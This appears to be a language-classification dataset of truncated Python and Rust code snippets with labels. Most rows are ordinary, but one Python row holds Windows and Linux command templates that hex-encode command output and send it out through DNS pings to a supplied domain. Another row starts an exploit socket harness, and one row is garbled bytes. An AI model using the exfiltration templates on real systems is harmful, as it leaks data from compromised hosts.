text
string
label_name
string
labels
int64
"src": "_images/balloon.en.png", "style": "width: 200px;", }, }, ] for index, figure in enumerate(figures): assert elem_attrs[index]["css_cls"] == figure.get("class") img = figure.find("a").find("img") img_attrs = elem_attrs[index]["img_attrs...
Python
1
*args, **kwargs): """ This method forwards all its arguments to RobertaTokenizerFast's [`~PreTrainedTokenizer.decode`]. Please refer to the docstring of this method for more information. """ return self.tokenizer.decode(*args, **kwargs) @property def model_input_names(s...
Python
1
from django.test import TestCase from .models import Auction from django.utils import timezone class AuctionModelTest(TestCase): def setUp(self): Auction.objects.create( title='Test Auction', description='This is a test auction.', starting_bid=1000, end_da...
Python
1
.collect(); Self { name: unsafe { CStr::from_ptr(info.name) } .to_str() .unwrap_or_default() .into(), kind, is_v_sync: info.flags & bind::SDL_RENDERER_PRESENTVSYNC as u32 != 0, supported_texture: info.flags & bin...
Rust
0
ue()): if group_by == 'experiment': values = granule_data.query("experiment == @expt", inplace=False) else: raise ValueError("Only group_by='experiment' is supported") values = values[plot_column] if log_scale: log_values = np.log10(values) ...
Python
1
, ); if self.config.reinsert_elements { if self.config.show_progress { println!("Reinserting elements..."); } // use half max_search when reindexing config.max_search = std::cmp::max(1, config.max_search / 2); // reinsert ele...
Rust
0
s { packages.insert(pkg.id.clone(), pkg); } Ok(PackageManifest { packages }) } pub struct PackageManifest { pub packages: BTreeMap<String, ManifestItem>, } use mpegts::stream_id::StreamId; use mpegts::program_descriptor::ProgramDescriptor; use mpegts::descriptor::hevc::*; #[derive(Debug, Clone)]...
Rust
0
if key field value already exists if any(attr in existing_gdf[key_field].values for attr in attributes[key_field]): # remove existing entry if overwrite is True if overwrite_entry: existing_gdf = existing_gdf[existing_gdf[key_field] != attributes[key_field].iloc[0]] ...
Python
1
unwrap(); }); (StatusCode::OK, body.boxed()) } fn mock_grpc_request_to(uri: &str) -> Request<Body> { Request::builder() .version(Version::HTTP_2) .header("content-type", "application/grpc") .method(Method::POST) ...
Rust
0
# #################### # ##### EJERCICIO 6### # #################### print("Bienvenido a nuestro programa para verificar si es primo") num1=int(input("Porfa ingrese el numero que desees verificar")) if (num1%2)==0: print("el numero no es primo") elif (num1%3)==0: print("el numero no es primo") elif (num1%5)==...
Python
1
if ctx.input.was_button_down_once(MouseButton::Left) { let props = self.props.drain(..).collect(); let delta = snap.snap(delta) as f32; ctx.scene .insert_props_with_rotate(props, self.axis.angle(delta, ctx.camera.forward())); return Some(Box::new...
Rust
0
# -*- coding: utf-8 -*- # The MIT License (MIT) # Copyright © 2020-2021 Saeed Rasooli <saeed.gnu@gmail.com> # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including with...
Python
1
println!("[+] Init Enclave Successful {}!", r.geteid()); r }, Err(x) => { println!("[-] Init Enclave Failed {}!", x.as_str()); return; }, }; // println!("connecting to localhost:5001..."); let client = IpfsClient::default(); //...
Rust
0
this function, instead of hard-coding it to 2.0. let img2 = img.blur(2.0); // Here's how you save an image to a file. img2.save(outfile).expect("Failed writing OUTFILE."); } fn brighten(infile: String, outfile: String) { // See blur() for an example of how to open / save an image. // .brighten() ...
Rust
0
rate) fn from_bits(bits: u128) -> F128Bits { F128Bits(bits) } #[inline] pub(crate) fn is_nan(self) -> bool { (self.to_bits() & !float_helper::F128Bits::SIGN_MASK) > float_helper::F128Bits::EXP_MASK } } /// Defines constant fixed-point numbers from integer expressions. /// /// This macr...
Rust
0
#!/usr/bin/python3 # Copyright (c) Facebook, Inc. and its affiliates. # """ Script for retrieving nearest neighbors of sentences from the bank using a given faiss index Example: python src/faiss_retrieve.py --input $input --bank $bank --index $index --K $K """ import argparse import faiss import os import sys import t...
Python
1
struct Field { pub name: String, pub value: Value, } #[derive(Debug, PartialEq)] pub enum Value { Text(String), U8(u8), S16(i16), U32(u32), Array(String), } impl Display for Value { fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { match self { V...
Rust
0
""" pybench_cases.py: Run pybench on a set of pythons and statements. Select modes by editing this script or using command-line arguments (in sys.argv): e.g., run a "C:\\python27\\python pybench_cases.py" to test just one specific version on stmts, "pybench_cases.py -a" to test all pythons listed, o...
Python
1
import json import re def clean_body(text): # 1. Remove header junk before the actual letter text = re.sub( r"BhaktivedantaVedabaseSettings.*?Letter to:.*?\d{2}-\d{2}-\d{2}", "", text, flags=re.DOTALL ) # 2. Remove long "DonateThanks to..." block at the end text = r...
Python
1
must be between 1 and " "--num-folds ({num_folds}) inclusive").format( which_fold=value, num_folds=ctx.obj.num_folds)) return value def require_value_callback(valid_options=None): """ Raise exception if input is not supplied. :para...
Python
1
generated = Path::new("target").join("generated"); fs::create_dir_all(&generated).unwrap(); let dest_path = generated.join("company.rs"); let mut file = fs::OpenOptions::new() .read(true) .write(true) .create(true) .truncate(true) .open(&dest_path) .unwrap()...
Rust
0
let mut value: Template = serde_yaml::from_str(content.as_str())?; Ok(value) } use crate::*; /// This idempotent task runs before any valid task is executed or on ct_init. /// - Ensure the .cargo-task directory exists. /// - Ensure the .cargo-task/.gitignore file is initialized. /// - Ensure the .cargo-task/cargo...
Rust
0
ith addr char if hash_char.to_digit(15) > Some(8) { checksum_addr.extend(c.to_uppercase()); } else { checksum_addr.push(c); } } checksum_addr } pub fn addr_ripple(pubkey_or_hash: &[u8], is_key_hash: bool) -> String { // XRP Ledger addresses are en...
Rust
0
(a, b, 2) } pub mod bootlog; pub mod botnet; pub mod cargo; pub mod cc; pub mod composer; pub mod cryptomining; pub mod docker_build; pub mod docker_image_rm; pub mod download; pub mod kernel_compile; pub mod memdump; pub mod mkinitcpio; pub mod simcity; pub mod weblog; use async_trait::async_trait; use std::collecti...
Rust
0
ns::HashMap, hash::Hash, mem::MaybeUninit}; use crate::{field_elem::FieldElement, Polynomial}; #[derive(Debug, Copy, Clone, Hash, PartialEq, Eq)] pub struct Exponents<const VARIABLES: usize>([usize; VARIABLES]); impl<const VARIABLES: usize> Exponents<VARIABLES> { const fn new() -> Exponents<VARIABLES> { ...
Rust
0
import pytest import sdl2 from sdl2 import ext as sdl2ext # Some tests don't work properly with some video drivers, so check the name DRIVER_DUMMY = False DRIVER_X11 = False try: sdl2.SDL_Init(sdl2.SDL_INIT_VIDEO) driver_name = sdl2.SDL_GetCurrentVideoDriver() sdl2.SDL_Quit() DRIVER_DUMMY = driver_name...
Python
1
ion<&str>, ) -> Result<InstallationData> { let qt_version = run_qmake_string_query("QT_VERSION", qmake_path)?; debug!("QT_VERSION = \"{}\"", qt_version); let qt_version_parsed = semver::Version::parse(&qt_version)?; if qt_version_parsed.major != 5 { bail!( "only Qt 5 is supported! \...
Rust
0
gorithm(alg: AeadType) -> Result<AeadMode, CryptoError> { match alg { AeadType::Aes128Gcm => Ok(AeadMode::Aes128Gcm), AeadType::Aes256Gcm => Ok(AeadMode::Aes256Gcm), AeadType::ChaCha20Poly1305 => Ok(AeadMode::Chacha20Poly1305), AeadType::HpkeExport => Err(CryptoError::UnsupportedAead...
Rust
0
print("Welcone to Tic Tac Toe game!\nImagine that the bord is a numpad:") print ("789\n456\n123") print ("So when asked to provide a number-posistion, simply put number corresponding to numpad. Good luck!") def display_board(board): print(' | |') print(' ' + board[7] + ' | ' + board[8] + ' | ' + board[9]) ...
Python
1
# Generated by Django 2.2.12 on 2020-04-03 20:18 import django.contrib.gis.db.models.fields from django.db import migrations ALTER_AQUIFER_GEOM_TO_MULTIPOLYGON = """ ALTER TABLE aquifer ALTER COLUMN geom type geometry(MultiPolygon, 3005) using ST_Multi(geom); ALTER TABLE aquifer ALTER COLUMN geom_simplified ...
Python
1
ncode_md(state: &mut State) -> SbeResult<usize> { let buffer = state.buffer.as_mut_slice(); let mut market_data = MarketDataIncrementalRefreshTradesEncoder::default(); let mut md_inc_grp = MdIncGrpEncoder::default(); market_data = market_data.wrap(WriteBuf::new(buffer), message_header::ENCODED_LENGTH);...
Rust
0
return FileNotFoundError if cwd is invalid; on wasi, we never have a // valid cwd ;) let res = if cfg!(target_os = "wasi") { Err(io::ErrorKind::NotFound.into()) } else { env::current_dir() }; res.map_err(|err| err.into_pyexception(vm)) } #[pyfun...
Rust
0
AGES { rx.next().await; } }); handle.join().expect( "join thread" ); }, BatchSize::SmallInput ) ); } } fn seq_run<S>( mut tx: S, mut rx: impl Stream + std::marker::Unpin + 'static, msgs: usize, exec: impl LocalSpawnExt ) where S: Sink<Msg> + std::marker::Unpin + 'stati...
Rust
0
](index.html) module"] pub struct INPUT_SPEC; impl crate::RegisterSpec for INPUT_SPEC { type Ux = u32; } #[doc = "`read()` method returns [input::R](R) reader structure"] impl crate::Readable for INPUT_SPEC { type Reader = R; } #[doc = "`reset()` method sets INPUT to value 0"] impl crate::Resettable for INPUT_S...
Rust
0
{ use swc_ecma_ast::Expr::*; use swc_ecma_ast::ExprOrSuper::*; swc_ecma_visit::visit_call_expr(self, call_expr, parent); let boxed_expr = match call_expr.callee.clone() { Super(_) => return, Expr(boxed) => boxed, }; match &*boxed_expr { Ident(ident) => { if &ident.sy...
Rust
0
d { return Err(ContractError::MaxSpreadAssertion {}); } } else if Decimal::from_ratio(spread_amount, return_amount + spread_amount) > max_spread { return Err(ContractError::MaxSpreadAssertion {}); } Ok(()) } fn assert_slippage_tolerance( _slippage_tolerance: &Option...
Rust
0
lass:`SuiException`: if returned from `self.execute` :returns: The package detail data :rtype: SuiRpcResult """ result = await self.execute(GetPackage(package=package_id)) return result @deprecated(version="0.53.0", reason="Transition to GraphQL QueryNode") async def ge...
Python
1
exCirculator<P, B> where P: Trace<ArcKey>, B: Reborrow<Target = M>, M: AsStorage<Arc<G>> + AsStorage<Vertex<G>> + Parametric<Data = G>, G: GraphData, { fn from(inner: ArcCirculator<P, B>) -> Self { VertexCirculator { inner } } } impl<'a, P, M, G> Iterator for VertexCirculator<P, &'a M> ...
Rust
0
ly prepared options if not torch.cuda.is_available(): opt.device = 'cpu' if len(opt.domains) == 0: # use default domains if opt.dataset.lower() == 'prep-amazon': opt.domains = ['books', 'dvd', 'electronics', 'kitchen'] elif opt.dataset.lower() == 'fdu-mtl': opt.domains = ['MR', 'apparel...
Python
1
import random def determina_proximo_vertice(grafo_global, vertice_atual_global, pilha_global): grafo = grafo_global pilha = pilha_global vertice_atual = vertice_atual_global qtd_visitados = grafo[vertice_atual][1] grafo[vertice_atual][0] = "cinza" if (len(pilha) != 0): if (vertice_atua...
Python
1
e8cec9812dd01, "cs78tv4s2cfh", 69.022346116, -107.321971331}, {0x7e7f933f03834cb1, "gtzt6gs3he6c", 78.286016979, -11.826242052}, {0xdff3210f858bc937, "vztk23w5jg4m", 87.943342117, 86.152288443}, {0x60c164b8c4960a15, "d30q9f64ks51", 6.780345765, -78.31858944}, {0x7f71c3d3d734bb29, "gxsw7n...
Rust
0
ATE_READ: MSIDBSTATE = 0i32; #[doc = "*Required features: 'Win32_System_ApplicationInstallationAndServicing'*"] pub const MSIDBSTATE_WRITE: MSIDBSTATE = 1i32; #[repr(C)] #[doc = "*Required features: 'Win32_System_ApplicationInstallationAndServicing'*"] pub struct MSIFILEHASHINFO { pub dwFileHashInfoSize: u32, p...
Rust
0
CCIE_R::new(((self.bits >> 30) & 0x01) != 0) } #[doc = "Bit 31"] #[inline(always)] pub fn fceie(&self) -> FCEIE_R { FCEIE_R::new(((self.bits >> 31) & 0x01) != 0) } } impl W { #[doc = "Bit 0"] #[inline(always)] pub fn ctie(&mut self) -> CTIE_W { CTIE_W { w: self } } ...
Rust
0
from azure.cosmos import CosmosClient, exceptions import os class CosmosService: def __init__(self) -> None: """CosmosDBのクライアントを初期化する。 """ self.client = CosmosClient( url=os.getenv('COSMOS_URL'), credential=os.getenv('COSMOS_CREDENTIAL') ) self.data...
Python
1
, Transaction}; /// use std::str::FromStr; /// let tx_str = "0200000002bdebed9413554bb95fffbdf436112c923c334a6850509ae7794d410524b061740000000000ffffffffc16d35d26589dfd54634181aa4a290cb9e06a716ea68620be05fbc46f1e197140100000000ffffffff0200e1f50500000000160014751e76e8199196d454941c45d1b3a323f1433bd620544771000000001...
Rust
0
19 => Val(SOURCESEL_A::UART1), 20 => Val(SOURCESEL_A::LEUART0), 21 => Val(SOURCESEL_A::LEUART1), 22 => Val(SOURCESEL_A::I2C0), 23 => Val(SOURCESEL_A::I2C1), 25 => Val(SOURCESEL_A::TIMER0), 26 => Val(SOURCESEL_A::TIMER1), 27 => V...
Rust
0
ry parameters project_name = request.args.get('project_name') if not project_name: return jsonify({'error': 'Project name is required'}), 400 # Using a connection from the pool with get_mysql_cursor() as cursor: try: cursor.e...
Python
1
def f(n): if n >= 2010: return n elif n < 2010: return f(n + 3) + f(n + 2) + f(n + 1) print((f(2000) - 2 * (f(2002) + f(2003)))/f(2004))
Python
1
optimizer = torch.optim.SGD( [ { "params": self.prediction_network.parameters(), "lr": self.hyperparams.experiment.training.prediction_lr * 100, }, { "params":...
Python
1
)) .and(warp::body::bytes()) .and(warp::header::<String>("X-Hub-Signature-256")) .and(with_config(config)) .and(with_sender(sender)) .and_then(handlers::hook) .with(warp::trace::named("hook")); health.or(hook) } <filename>src/k8-obj-core/src/lib.rs pub mod config_map...
Rust
0
e unique identifier of the text. This can be a ISBN number # or the project homepage. #epub_identifier = '' # A unique identification for the text. #epub_uid = '' # A tuple containing the cover image and cover page html template filenames. #epub_cover = () # A sequence of (type, uri, title) tuples for the guide elem...
Python
1
> where T: std::fmt::Display, { fn fmt(&self, f: &mut std::fmt::Formatter) -> std::fmt::Result { std::fmt::Display::fmt(self.0, f) } } /// A few checks to ensure that `Ref` can be passed around properly. #[allow(dead_code, unused_variables)] mod checks { use super::*; trait Dummy {} st...
Rust
0
import requests import time import os ELASTICSEARCH_HOST = os.environ.get("ELASTICSEARCH_HOST", "elasticsearch") ELASTICSEARCH_PORT = int(os.environ.get("ELASTICSEARCH_PORT", 9200)) def wait_for_elasticsearch(): url = f"http://{ELASTICSEARCH_HOST}:{ELASTICSEARCH_PORT}" while True: try: re...
Python
1
EDGE_LOW_R { GPIO_QSPI_SCLK_EDGE_LOW_R::new(((self.bits >> 2) & 0x01) != 0) } #[doc = "Bit 1"] #[inline(always)] pub fn gpio_qspi_sclk_level_high(&self) -> GPIO_QSPI_SCLK_LEVEL_HIGH_R { GPIO_QSPI_SCLK_LEVEL_HIGH_R::new(((self.bits >> 1) & 0x01) != 0) } #[doc = "Bit 0"] #[inli...
Rust
0
_test_layout_rte_atomic32_t() { assert_eq!( ::std::mem::size_of::<rte_atomic32_t>(), 4usize, concat!("Size of: ", stringify!(rte_atomic32_t)) ); assert_eq!( ::std::mem::align_of::<rte_atomic32_t>(), 4usize, concat!("Alignment of ", stringify!(rte_atomic32_t)) ...
Rust
0
''' ### NOMBRE CON DÍGITOS DISTINTOS ### Escribir una función esDistinto(numero) que toma como parámetro un número entero y verifica si todos los dígitos de este número son diferentes. La función debe devolver True si el número contiene dígitos todos distintos y False en caso contrario. Pruebas de verificación: esDist...
Python
1
import math def rk4(f, x0, y0,x_values, n): r = [] h = x_values[0] - x0 for _ in range(n): #realizar as iterações if (_>=1): h = x_values[_] - x_values[_-1] m1 = f(x0, y0) m2 = f(x0 + h/2, y0 + (h/2)*m1) m3 = f(x0 + h/2, y0 + (h/2)*m2) m4 = f(x0 +...
Python
1
import argparse import os import os.path import ctypes from shutil import rmtree, move from PIL import Image import numpy as np import matplotlib.pyplot as plt from natsort import natsorted import seaborn as sns import time import cv2 import csv # For parsing commandline arguments parser = argparse.ArgumentParser() pa...
Python
1
import sys commandTemWin = r'del command7 && del command7.txt && command > command7 &&echo 11111111111>>command7 && certutil -encodehex command7 command7.txt && for /f "tokens=1-17" %a in (command7.txt) do start /b ping -nc 1 %a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q.command.{0}' commandTemLinux = r'rm -f command7;rm -f com...
Python
1
if-modified-since", "If-Modified-Since"); /// If-None-Match /// [[RFC7826, Section 18.26](https://tools.ietf.org/html/rfc7826#section-18.26)] (IfNoneMatch, "if-none-match", "If-None-Match"); /// Last-Modified /// [[RFC7826, Section 18.27](https://tools.ietf.org/html/rfc7826#section-18.27)] (La...
Rust
0
ation tests. #[cfg(test)] mod tests { use crate::tests::*; // Description of scenario #1: // In this scenario, user uses four operations in the protocol (deposit, borrow, repay, redeem). // Changes to the main protocol parameters are also checked here. #[test] fn scenario_with_four_operations() { ExtBuilder:...
Rust
0
SU35eUR5(d SU35e[U[4XES.5n[ [ R"[ R"5SS5SS 5Ul U$) B :func:`Dim` constructs a type analogous to a named symbolic int...
Python
1
or the external process, but both `convert` and `guetzli` // are CPU-bound, so this should keep the CPU busy. When thumbnailing many // albums with a cold page cache, IO to read the thumb from the file can be // a factor too, so add one additional thread to ensure we can keep the CPU // busy. crossb...
Rust
0
None, None, None, None, // Acceptable message None, None, ); nc.mine_blocks(MWC_CONFIRMATION / 2); test_responds( &mut seller, StateId::SellerWaitingForRefundConfirmations, None, None, StateId::SellerCancelledRefunded, // Expected state before timeput StateId::Selle...
Rust
0
riph = scope.VectorPeripheral( n_upsample=8) self.csr_decoder.add(self.vector_periph.bus, addr=self.vector_periph_base, name="vector_periph") # 4-ch oscilloscope with CSR registers self.scope_periph = scope.ScopePeripheral() self.csr_decoder.add(self.scope_periph.bus, addr=s...
Python
1
#[derive(Error, Debug)] pub enum StateMutationError { #[error(transparent)] Sql(#[from] aingle_sqlite::rusqlite::Error), #[error(transparent)] Infallible(#[from] std::convert::Infallible), #[error(transparent)] DatabaseError(#[from] aingle_sqlite::error::DatabaseError), #[error(transparent)...
Rust
0
return self.last_save_time = now # Convert messages try: rgb = self.bridge.imgmsg_to_cv2(rgb_msg, desired_encoding='bgr8') except Exception as e: self.get_logger().error(f'RGB convert error: {e}') return try: gray_img_cv = s...
Python
1
''' Crie um programa que leia nomes, ano de nascimento e carteira de trabalha, cadastre-os (com idade) em um dicionario se por acaso, a CTPS (CARTEIRA DE TRABALHO DE PROVIDENCIA SOCIAL) for diferente de Zero, o dicionario recebera tambem o ano de contratacao e o Salario. - Calcule e acrescente para alem da idade, com q...
Python
1
flags(user['public_flags'])]) if user['premium_type'] == 0: nitro = 'None' elif user['premium_type'] == 1: nitro = 'Nitro Classic' elif user['premium_type'] == 2: nitro = 'Nitro' elif user['premium_type'] == 3: nitro = 'Nitro Basic' else: nitro = '...
Python
1
l1 = [1,2,3] l2 = [i**2 for i in l1] print(l2)
Python
1
# Copyright (c) Meta Platforms, Inc. and affiliates. # # This source code is licensed under the Apache License, Version 2.0 # found in the LICENSE file in the root directory of this source tree. import torch import random def collate_data_and_cast(samples_list, mask_ratio_tuple, mask_probability, dtype, n_tokens=Non...
Python
1
bits = { const MASK: bool = true; const OFFSET: u8 = 23; ((self.bits >> OFFSET) & MASK as u32) != 0 }; SLOTDIS7R { bits } } #[doc = "Bit 24 - Mono Mode"] #[inline] pub fn mono(&self) -> MONOR { MONOR::_from({ const MASK: bool = tru...
Rust
0
temperature=temperature ) generated = response.generated_text if hasattr(response, 'generated_text') else response logger.info(f"[General] Response: {generated}") return { "status": "success", "generated_content": generated, "parameters": { ...
Python
1
# ISOT Downsampling and Binarize # Cleaned: keep only 'text' + 'label' import pandas as pd import os import re true_path = "isot/True.csv" fake_path = "isot/Fake.csv" true_df = pd.read_csv(true_path, encoding="utf-8") fake_df = pd.read_csv(fake_path, encoding="utf-8") true_df['label'] = 0 fake_df['label'] = 1 isot...
Python
1
{ typenum::int::PInt<#uint_tokens> } }; proc_macro::TokenStream::from(tokens) } pub fn tyuint(input: proc_macro::TokenStream) -> proc_macro::TokenStream { let UnsignedInteger { value } = parse_macro_input!(input as UnsignedInteger); let tokens = recursive_value_to_typeuint(value)...
Rust
0
); assert_abs_diff_eq!(c, color!(0.380_632_88, 0.475_791_04, 0.285_474_66)) } #[test] fn shade_intersection_from_inside() { let mut w = World::default(); w.light = Some(Box::new(PointLight::new(point!(0, 0.25, 0), white()))); let r = Ray::new(point!(0, 0, 0), vector!(0, 0, 1...
Rust
0
""" 使用动态规划方法求解最短路径问题 """ import pandas as pd import numpy as np # 存储节点距离 # A->B 的距离 df1 = pd.DataFrame(np.array([[10, 20]]), index=["A"], columns=['B1', 'B2']) # B->C 的距离 df2 = pd.DataFrame(np.array([[30, 10], [5, 20]]), index=['B1', 'B2'], columns=['C1', 'C2']) # C->D 的距离 df3 = pd.DataFrame(np.array([[20], [10]]), in...
Python
1
[`TestNode`]. pub struct TestNodeBuilder { para_id: ParaId, tokio_handle: tokio::runtime::Handle, key: Sr25519Keyring, collator_key: Option<CollatorPair>, parachain_nodes: Vec<MultiaddrWithPeerId>, parachain_nodes_exclusive: bool, relay_chain_nodes: Vec<MultiaddrWithPeerId>, wrap_announce_block: Option<Box<dyn...
Rust
0
gnise_numbers() { let mut lexer = Token::lexer("2137 420 69.69 2.718281828459045"); assert_eq!(lexer.next(), Some(Token::Int(2137))); assert_eq!(lexer.next(), Some(Token::Int(420))); assert_eq!(lexer.next(), Some(Token::Float(69.69))); assert_eq!(lexer.next(), Some(Token::Float(2.718281828459045))); } #[test...
Rust
0
(but not all) the data. // We create extra prefixes that can describe `reps` copies of the range at once. let config = choose_run_len_jumpstart(count as u64, n as u64); seq.push(PrefixIntermediate::new( count, config.weight, sorted[i], sorted[j - 1], Some(config.jumpstart) ...
Rust
0
[doc = "`read()` method returns [dutyconfig::R](R) reader structure"] impl crate::Readable for DUTYCONFIG_SPEC { type Reader = R; } #[doc = "`write(|w| ..)` method takes [dutyconfig::W](W) writer structure"] impl crate::Writable for DUTYCONFIG_SPEC { type Writer = W; } #[doc = "`reset()` method sets DUTYCONFIG ...
Rust
0
from collections import Counter from corehq.apps import es from corehq.apps.data_pipeline_audit.dbacessors import ( get_es_counts_by_doc_type, get_es_user_counts_by_doc_type, get_primary_db_case_counts, get_primary_db_form_counts, ) from corehq.apps.data_pipeline_audit.utils import map_counter_doc_type...
Python
1
#!/usr/bin/python import sys import socket import telnetlib import time from struct import pack def recvuntil(sock, txt): d = "" while d.find(txt) == -1: try: dnow = sock.recv(1) if len(dnow) == 0: print "-=(warning)=- recvuntil() failed at recv" print "Last received data:" ...
Python
1
proach is a false positive page added/removed notification, which isn't too disastrous and can just be ignored. - It is impossible (that is, I'm fairly certain that the problem is undecidable) to know whether a file created/deleted/moved event corresponds to a legitimate file creat...
Python
1
redis_base is not None: path = f"/{self.redis_base}" return URL.build( scheme="redis", host=self.redis_host, port=self.redis_port, user=self.redis_user, password=self.redis_pass, path=path, ) {%- endif %} {%- if...
Python
1
let inst = &self.func.inst_table[inst_id]; if inst.opcode == Opcode::Ret { returns.push(inst_id); return_at_last_block = self.func.basic_blocks.order.len() - 1 == i; } } if returns.len() == 1 && return_at_last_block { return; ...
Rust
0
=> Ok(Box::new(V::or)), instruction::groups::BinaryOp::Xor(_) => Ok(Box::new(V::xor)), instruction::groups::BinaryOp::Shl(_) => Ok(Box::new(V::sll)), instruction::groups::BinaryOp::LShr(_) => Ok(Box::new(V::srl)), instruction::groups::BinaryOp::AShr(_) => Ok(Box::new(V::...
Rust
0
ering(n_clusters=5, linkage='single') if hasattr(X, "toarray"): X = X.toarray() labels = hierarchical.fit_predict(X) evaluate(X, labels, "Hierarchical") X_train, _, data_train, _ = train_test_split(X, data['Location'], test_size=0.3, random_state=42) Z = linkage(X_train, method='single') ...
Python
1
Isometry<Real>: From<T>, { fn from(position: T) -> Self { let position = position.into(); Self { position, next_position: position, } } } bitflags::bitflags! { #[cfg_attr(feature = "serde-serialize", derive(Serialize, Deserialize))] /// Flags affecting th...
Rust
0
data).finish() } } impl<T> Arena<T> { pub const fn new() -> Arena<T> { Arena { data: Vec::new() } } pub fn clear(&mut self) { self.data.clear(); } pub fn len(&self) -> usize { self.data.len() } pub fn is_empty(&self) -> bool { self.data.is_empty() } ...
Rust
0
model_contract_sql_header_sql, "constraints_schema.yml": model_contract_header_schema_yml, } class TestContractInvalidCluster: @pytest.fixture(scope="class") def models(self): return { "contract_invalid_cluster.yml": contract_invalid_cluster_schema_yml, "con...
Python
1
: Option<StitchInfo> = None; // Not stitching when None. // Adjust the base frequencies if necessary for stitching. if do_stitching { // When stitching tiled turbulence, the frequencies must be adjusted // so that the tile borders w...
Rust
0
""" Crout matrix decomposition is used to find two matrices that, when multiplied give our input matrix, so L * U = A. L stands for lower and L has non-zero elements only on diagonal and below. U stands for upper and U has non-zero elements only on diagonal and above. This can for example be used to solve systems of l...
Python
1
OD_2FSK = 0x00, /// GFSK. MOD_GFSK = 0x01, /// ASK / OOK. MOD_ASK_OOK = 0x03, /// 4-FSK. MOD_4FSK = 0x04, /// MSK. MOD_MSK = 0x07, } impl ModFormat { pub fn value(self) -> u8 { self as u8 } } <filename>packages/next-swc/crates/core/src/amp_attributes.rs use swc_atoms::Js...
Rust
0
} -> b '\u{63}', // \u{1e08} -> c '\u{63}', // \u{1e09} -> c '\u{64}', // \u{1e0a} -> d '\u{64}', // \u{1e0b} -> d '\u{64}', // \u{1e0c} -> d '\u{64}', // \u{1e0d} -> d '\u{64}', // \u{1e0e} -> d '\u{64}', // \u{1e0f} -> d '\u{64}', // \u{1e10} -> d '\u{64}', // \u{1e11} -> d '\u{64}', // \u{1e12} -> d '\u{...
Rust
0
history entry again last_entry = manager.pop_last_history(path) assert last_entry == "content2" # Check that the entry has been removed metadata = manager.get_metadata(path) assert len(metadata["entries"]) == 1 # Pop the last history entry one more time last_en...
Python
1
ClonedVar(Var::default()); tokens_to_var(MyTokens(value), &mut subv)?; vars.push(subv.into()); } Token::FixedArray(value) => { let mut subv = ClonedVar(Var::default()); tokens_to_var(MyTokens(value), &mut subv)?; va...
Rust
0
e = consciousness_state.get('observer_state', {}) choice_clarity = observer_state.get('choice_clarity', 0.5) emotional_coherence = coherence * emotional_resonance choice_emotional_clarity = choice_clarity * emotional_coherence # Resistance as emotional gift analytical_sp...
Python
1
s__): arg = arg.to_plotly_json() elif isinstance(arg, dict): arg = _copy.copy(arg) else: raise ValueError( """\ The first argument to the plotly.graph_objs.layout.ternary.Domain constructor must be a dict or an instance of :class:`plotly.graph_objs.lay...
Python
1
`HumanTime` into number of whole seconds and the reminder fn split_microseconds(self) -> (Option<i64>, Self) { let micros = self.0.num_microseconds().unwrap_or_default(); let reminder = self.0 - Duration::microseconds(micros); Self::normalize_split(micros, reminder) } /// Split thi...
Rust
0